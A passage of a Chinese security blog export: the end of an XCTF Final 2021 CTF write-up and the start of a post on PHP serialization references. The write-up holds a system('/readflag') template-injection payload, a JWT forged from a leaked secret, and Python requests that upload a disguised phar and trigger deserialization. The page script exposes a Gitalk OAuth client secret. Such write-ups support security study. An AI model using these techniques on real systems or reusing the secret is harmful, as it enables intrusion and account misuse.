src=\"/2021/05/30/Security/Writeup/XCTF-Final-2021/specify_template.png\" class=\"\"\u003e\u003cimg src=\"/2021/05/30/Security/Writeup/XCTF-Final-2021/modify_settings.png\" class=\"\"\u003e\u003cimg src=\"/2021/05/30/Security/Writeup/XCTF-Final-2021/filename.png\" class=\"\"\u003e\u003cp\u003e回到math。虽然函数实现中对危险函数进行了限制,但我随手构造的 \u003ccode\u003e\u0026lt;!--\u0026#123;math equation=(system(\u0026quot;/readflag\u0026quot;))\u0026#125;--\u0026gt;\u003c/code\u003e 恰巧突破了这一限制(带括号)(又貌似是缓存有助攻)。由于是比赛,时间紧迫,便没有深究。\u003c/p\u003e\u003cimg src=\"/2021/05/30/Security/Writeup/XCTF-Final-2021/warmup_flag.png\" class=\"\"\u003e\u003ch2 id=\"easy-cms\"\u003eeasy_cms\u003c/h2\u003e\u003cp\u003e由于题目并没有正确配置php服务器,我们需要通过手动指定controller来访问所有页面。\u003c/p\u003e\u003cp\u003ethinkphp,那我们先来看看有什么controller呗。\u003c/p\u003e\u003cp\u003eadmin下的controller由于需要登录:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(!captcha_check(\u003cspan class=\"variable\"\u003e$data\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;verify\u0026#x27;\u003c/span\u003e]))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e ValidateException(\u003cspan class=\"string\"\u003e\u0026#x27;验证码错误\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;checkLogin(\u003cspan class=\"variable\"\u003e$data\u003c/span\u003e))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;success(\u003cspan class=\"string\"\u003e\u0026#x27;登录成功\u0026#x27;\u003c/span\u003e, url(\u003cspan class=\"string\"\u003e\u0026#x27;admin/Index/index\u0026#x27;\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e而服务端并没有安装图片相关拓展:\u003c/p\u003e\u003cimg src=\"/2021/05/30/Security/Writeup/XCTF-Final-2021/not_installed.png\" class=\"\"\u003e\u003cp\u003e所以登陆admin这条路基本是堵死了,也没必要继续看admin controller(当然不排除有些未认证的controller,只是这题确实没有)\u003c/p\u003e\u003cp\u003e在api 的 \u003ccode\u003eBase\u003c/code\u003e controller中我们发现有很明显的上传文件的方法,也有读取文件的方法,非常显然是让我们用phar反序列化来加载tp6的链。所以问题就在于如何登陆。我们回头看一眼路由,发现 \u003ccode\u003eBase\u003c/code\u003e controller被套了一个 \u003ccode\u003eJwtAuth\u003c/code\u003e 中间件。这一中间件取 \u003ccode\u003eAuthorization\u003c/code\u003e 请求头的值作为jwt进行验证,认证通过则取token中的uid写入当前session。\u003ccode\u003eJwtAuth\u003c/code\u003e 调用了 \u003ccode\u003eJwt\u003c/code\u003e 类,而生成 \u003ccode\u003eJwt\u003c/code\u003e 的 api controller \u003ccode\u003eCommon\u003c/code\u003e 中配置了jwt的参数:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// route.php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eRoute::rule(\u003cspan class=\"string\"\u003e\u0026#x27;Base/Upload\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;Base/Upload\u0026#x27;\u003c/span\u003e)-\u0026gt;middleware([\u003cspan class=\"string\"\u003e\u0026#x27;JwtAuth\u0026#x27;\u003c/span\u003e]); \u003cspan class=\"comment\"\u003e//图片上传;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// Common controller\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$jwt\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e -\u0026gt;setIss(config(\u003cspan class=\"string\"\u003e\u0026#x27;my.jwt_iss\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e -\u0026gt;setAud(config(\u003cspan class=\"string\"\u003e\u0026#x27;my.jwt_aud\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e -\u0026gt;setSecrect(config(\u003cspan class=\"string\"\u003e\u0026#x27;my.jwt_secrect\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e -\u0026gt;setExpTime(config(\u003cspan class=\"string\"\u003e\u0026#x27;my.jwt_expire_time\u0026#x27;\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// config/my.php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//jwt鉴权配置\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;jwt_expire_time\u0026#x27;\u003c/span\u003e =\u0026gt; \u003cspan class=\"number\"\u003e7200\u003c/span\u003e, \u003cspan class=\"comment\"\u003e//token过期时间 默认2小时\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;jwt_secrect\u0026#x27;\u003c/span\u003e =\u0026gt; \u003cspan class=\"string\"\u003e\u0026#x27;boTCfOGKwqTNKArT\u0026#x27;\u003c/span\u003e, \u003cspan class=\"comment\"\u003e//签名秘钥\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;jwt_iss\u0026#x27;\u003c/span\u003e =\u0026gt; \u003cspan class=\"string\"\u003e\u0026#x27;client.xhadmin\u0026#x27;\u003c/span\u003e, \u003cspan class=\"comment\"\u003e//发送端\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;jwt_aud\u0026#x27;\u003c/span\u003e =\u0026gt; \u003cspan class=\"string\"\u003e\u0026#x27;server.xhadmin\u0026#x27;\u003c/span\u003e, \u003cspan class=\"comment\"\u003e//接收端\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e从配置文件中拿到jwt secret,仔细过一遍认证函数,把必要的属性都给加上,再把过期时间 (\u003ccode\u003eexp\u003c/code\u003e) 调的久一些,一个jwt就伪造好了\u003c/p\u003e\u003cimg src=\"/2021/05/30/Security/Writeup/XCTF-Final-2021/fake_token.png\" class=\"\" title=\"四千年后过期的token\"\u003e\u003cp\u003e带着这个token,我们就能上传文件了:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ehost = \u003cspan class=\"string\"\u003e\u0026#x27;http://172.35.6.101:31337\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003einfo = ses.post(host+\u003cspan class=\"string\"\u003e\u0026#x27;/?s=api/Base/upload\u0026#x27;\u003c/span\u003e, headers=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;Authorization\u0026#x27;\u003c/span\u003e: \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;eyJzdWIiOiIxMjM0NTY3ODkwIiwidWlkIjoxL\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;CJpc3MiOiJjbGllbnQueGhhZG1pbiIsImF1ZC\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;I6InNlcnZlci54aGFkbWluIiwiZXhwIjoxNTE\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;2MjM5MDIyMDAsImlhdCI6MTUxNjIzOTAyMn0.\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;vbtgheHpxnrT9W4VX1ybguJ15cwYO2pbVNCvrE7FqfU\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;, files=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;file\u0026#x27;\u003c/span\u003e: (\u003cspan class=\"string\"\u003e\u0026#x27;a.gif\u0026#x27;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003eopen\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;phar.gif\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;rb\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).json()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(info)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# \u0026#123;\u0026#x27;status\u0026#x27;: \u0026#x27;200\u0026#x27;, \u0026#x27;data\u0026#x27;: \u0026#x27;/uploads/api/202105/60b3b5da99bed.gif\u0026#x27;\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e同时,上传文件的 \u003ccode\u003eupload\u003c/code\u003e 方法下面就有 \u003ccode\u003echeckFileExists\u003c/code\u003e 方法,可以用于触发 phar 反序列化:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ereq = ses.get(host, params=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;s\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;api/Base/checkFileExists\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;filepath\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;phar:///var/www/html/public\u0026#x27;\u003c/span\u003e+info[\u003cspan class=\"string\"\u003e\u0026#x27;data\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 经过和出题人沟通,在比赛题目环境中必须使用绝对路径\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(req.text[-\u003cspan class=\"number\"\u003e200\u003c/span\u003e:])\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003etp6的链略,\u003ca href=\"https://lmgtfy.app\"\u003ehttps://lmgtfy.app\u003c/a\u003e\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2021/05/30/Security/Writeup/XCTF-Final-2021/"},{"title":"PHP序列化中的R与r","time":"2021-04-10T16:00:00Z","content":"\u003cblockquote\u003e\n\u003cp\u003e最近想起来 \u003ca href=\"https://github.com/frankli0324/libphpserialize\"\u003elibphpserialize\u003c/a\u003e 还有一个TODO,实现递归对象的序列化,顺手写写php序列化中\u0026quot;r\u0026qu\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e最近想起来 \u003ca href=\"https://github.com/frankli0324/libphpserialize\"\u003elibphpserialize\u003c/a\u003e 还有一个TODO,实现递归对象的序列化,顺手写写php序列化中\u0026quot;r\u0026quot;与\u0026quot;R\u0026quot;的意义\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"引用\"\u003e引用\u003c/h2\u003e\u003cp\u003e引用到底是什么?是一个指针的语法糖么?是一个指针对象指向了另一个对象?\u003cbr\u003e我更愿意将其理解为一个 \u003cem\u003e\u003cstrong\u003e更加\u003c/strong\u003e\u003c/em\u003e 抽象的概念。\u003cbr\u003e要理解这个概念首先需要将“对象”和“引用”两个概念剥离开来,跳出“具体实现”的桎梏。\u003c/p\u003e\u003chr\u003e\u003cp\u003e我们手里拿着一个数据的“引用”时,我们并没有在拿这个数据本身。\u003cbr\u003e我们对其解引用(deference)时我们就拿到了真实的对象本身。\u003c/p\u003e\u003cimg src=\"/2021/04/11/Security/php-src/PHP-Serialize-tips/reference_dark.png\" class=\"\"\u003e\u003cp\u003e听起来非常的指针。其实不然,指针没有这么抽象,指针存在于C语言中,它存在的意义并没有这么抽象。我们平时说指针“指向了一个对象”实际上是我们自己不知不觉间对其进行了更高层级的抽象,让它“成为了”我们脑海中对另一个对象的引用。实际上没这么复杂,它本初存在的意义就是为了存一个地址。\u003c/p\u003e\u003cimg src=\"/2021/04/11/Security/php-src/PHP-Serialize-tips/pointer_dark.png\" class=\"\"\u003e\u003cp\u003e像我们常用的Python,Java等直接操作引用的语言,将我们的对象全部藏了起来,给到我们手里的全部都是引用。当我们对这些对象进行操作的时候神の手(Kami no te)帮我们进行了一次解引用,再对对象进行了一系列操作。\u003c/p\u003e\u003cimg src=\"/2021/04/11/Security/php-src/PHP-Serialize-tips/operation_dark.png\" class=\"\"\u003e\u003cp\u003e理解了这一点,我们就能轻松地理解PHP序列化字符串中R与r的区别。\u003c/p\u003e\u003ch2 id=\"prologue\"\u003eprologue\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e既然打了 \u003ccode\u003ephp-src\u003c/code\u003e 的tag,就引用一下源码8\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在php中,反序列化的实现主要存在与 \u003ccode\u003eext/standard/var_unserializer.re\u003c/code\u003e 中。建议先打开这个文件放到一边再往下看。\u003cbr\u003e这一文件利用\u003ca href=\"https://github.com/skvadrik/re2c\"\u003ere2c\u003c/a\u003e进行了代码生成。\u003cbr\u003ere2c的作用,简而言之,就是将正则转换为一个goto模样的\u003cstrong\u003e确定\u003c/strong\u003e有限状态自动机,以供编译。这样能够实现 \u003cem\u003e\u003cstrong\u003e类似\u003c/strong\u003e\u003c/em\u003e 很多其它语言支持的模式匹配的效果。PHP中很多地方都用到了re2c。\u003c/p\u003e\u003cp\u003e我们先对php中反序列化的流程大致熟悉一下,标蓝色的地方是处理R与r的code block行数(php 7.4.6)\u003cbr\u003e由于右侧的图比较糊,建议自己生成一份看:\u003cbr\u003e\u003ccode\u003ere2c -D -8 ext/standard/var_unserializer.re | dot -Tpng -o output.png\u003c/code\u003e\u003c/p\u003e\u003cimg src=\"/2021/04/11/Security/php-src/PHP-Serialize-tips/call_graph_dark.png\" class=\"\"\u003e\u003cp\u003e下文中都会以反序列化的代码来说明问题。看完了反序列化的代码再看序列化(\u003ccode\u003eext/standard/var.c\u003c/code\u003e)会发现其实它们的结构逻辑都是非常类似的。博客里就不多说了。\u003c/p\u003e\u003ch2 id=\"R与r\"\u003eR与r\u003c/h2\u003e\u003cp\u003e当两个对象本来就是同一个对象时后出现的对象将会以小写r表示。\u003cbr\u003e不过基础类型不受此条件限制,总是会被序列化\u003c/p\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 为什么?(看完“分析”以后再看这里) \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cp\u003e.\u003cbr\u003e还记得\u003ccode\u003evar_hash-\u0026gt;last\u003c/code\u003e么?\u003cbr\u003e在序列化过程中,与\u003ccode\u003evar_push\u003c/code\u003e作用类似的函数长这样\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003einline\u003c/span\u003e zend_long \u003cspan class=\"title\"\u003ephp_add_var_hash\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003ephp_serialize_data_t\u003c/span\u003e data, zval *var)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!is_ref \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003eZ_TYPE_P\u003c/span\u003e(var) != IS_OBJECT) \u0026#123; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 因为这里\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ( existed ) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e index;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e add_new \u0026amp;\u0026amp; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中判断了对象\u003ccode\u003eIS_OBJECT\u003c/code\u003e,而\u003ccode\u003ezval\u003c/code\u003e常规类型有下列几种:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eIS_UNDEF\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_NULL\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_FALSE\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_TRUE\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_LONG\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_DOUBLE\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_STRING\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_ARRAY\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_OBJECT\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_RESOURCE\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIS_REFERENCE\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; \u003cspan 